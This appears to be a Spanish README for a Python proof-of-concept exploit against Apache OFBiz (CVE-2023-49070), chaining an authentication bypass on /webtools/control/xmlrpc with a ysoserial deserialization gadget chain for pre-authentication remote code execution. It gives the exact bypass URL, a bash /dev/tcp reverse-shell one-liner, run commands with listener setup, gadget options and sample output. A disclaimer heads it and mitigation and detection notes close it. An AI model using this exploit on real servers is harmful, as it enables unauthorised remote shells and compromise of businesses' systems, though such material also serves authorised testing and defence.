
PoC en Python para Apache OFBiz CVE-2023-49070: bypass de autenticación en /webtools/control/xmlrpc más cadena de gadgets de ysoserial para lograr RCE por deserialización pre-autenticación.
PoC para el RCE por deserialización pre-auth en XML-RPC de Apache OFBiz, registrado como
CVE-2023-49070: una ruta de omisión de autenticación desbloquea el endpoint heredado
/webtools/control/xmlrpc, que deserializa un objeto Java controlado por el atacante
introducido dentro de un parámetro <serializable> de XML-RPC.
⚠️ Solo para pruebas de seguridad autorizadas. Ejecuta esto únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba (entornos CTF/laboratorio, encargos con alcance firmado, etc.). El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones.
La autenticación de view-map de Apache OFBiz normalmente protege
/webtools/control/xmlrpc. Las versiones afectadas (< 18.12.10) pueden
ser engañadas para omitir esa comprobación añadiendo un punto y coma más
parámetros de consulta específicos a la ruta:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
Una vez accesible, el endpoint acepta peticiones XML-RPC. La implementación
Java de Apache XML-RPC admite un tipo de extensión <serializable>: el
contenido del elemento se decodifica en base64 y se pasa directamente a
ObjectInputStream.readObject() — la clásica deserialización insegura de Java.
Con una cadena de gadgets adecuada en el classpath (este PoC usa
CommonsBeanutils1 a través de ysoserial
por defecto), eso se traduce directamente en ejecución remota de comandos como
el usuario del sistema operativo que ejecuta OFBiz.
Esta es la misma familia de fallos que los anteriores CVE de deserialización XML-RPC de OFBiz (por ejemplo, el hermano de omisión de autenticación de CVE-2023-51467); OFBiz ha tenido un patrón recurrente de pares de omisión de autenticación + deserialización en este endpoint, así que comprueba el rango exacto de CVE/versión que aplica a tu objetivo antes de confiar en este PoC.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1,
la codifica en base64 y la envuelve en un one-liner
bash -c 'echo ... | base64 -d | bash' (evita la mutilación de
metacaracteres del shell más abajo en la cadena de ejecución).ysoserial para construir una cadena de gadgets serializada
(CommonsBeanutils1 por defecto, configurable) que ejecuta ese
one-liner.<serializable> de XML-RPC.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service) — una señal de que el payload fue procesado, no
una prueba de ejecución de código.No puede confirmar que obtuviste una shell — OFBiz devuelve un error genérico
en cualquier caso una vez que se ejecuta la deserialización (el propio método
XML-RPC, Dns, no existe como servicio real). Ten siempre tu listener
activo y compruébalo, no solo la salida de consola del script.
pip install requests --break-system-packagesysoserial-all.jar — constrúyelo tú mismo desde
frohoff/ysoserial
(mvn clean package -DskipTests) o consigue un jar de release. No se
incluye aquí — es una herramienta de terceros grande con su propia licencia.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
Inicia primero un listener:
nc -lvnp 4444
| Flag | Por defecto | Descripción |
|---|---|---|
--target | (obligatorio) | URL base del objetivo, p. ej. https://ofbiz.target.tld |
--lhost | (obligatorio) | IP de tu listener |
--lport | (obligatorio) | Puerto de tu listener |
--ysoserial | ysoserial-all.jar | Ruta al jar de ysoserial |
--gadget | CommonsBeanutils1 | Cadena de gadgets de ysoserial a usar |
--java-bin | java | Binario de Java a invocar |
--timeout | 15 | Tiempo de espera de la petición HTTP (segundos) |
--proxy | (ninguno) | Proxy HTTP(S) opcional, p. ej. para enrutar por Burp |
CommonsBeanutils1 es la elección clásica para OFBiz (incluye
commons-beanutils en el classpath), pero si no se dispara, las
bibliotecas incluidas en OFBiz también admiten otras cadenas. Solo
cambia --gadget:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc si no usas
activamente la integración XML-RPC; el componente webtools en general
es un objetivo común y no debería estar expuesto a internet sin una razón
de peso.; contra el
análisis de rutas de servlets Java.ObjectInputFilter, disponible desde JEP 290 / Java 9+)
para bloquear que clases conocidas de cadenas de gadgets lleguen a
instanciarse, independientemente de qué endpoint active la
deserialización.*/control/xmlrpc* que contengan elementos
<serializable>, conexiones salientes inesperadas desde el host de
OFBiz, y procesos hijos lanzados por el proceso Java que ejecuta OFBiz.MIT — consulta LICENSE.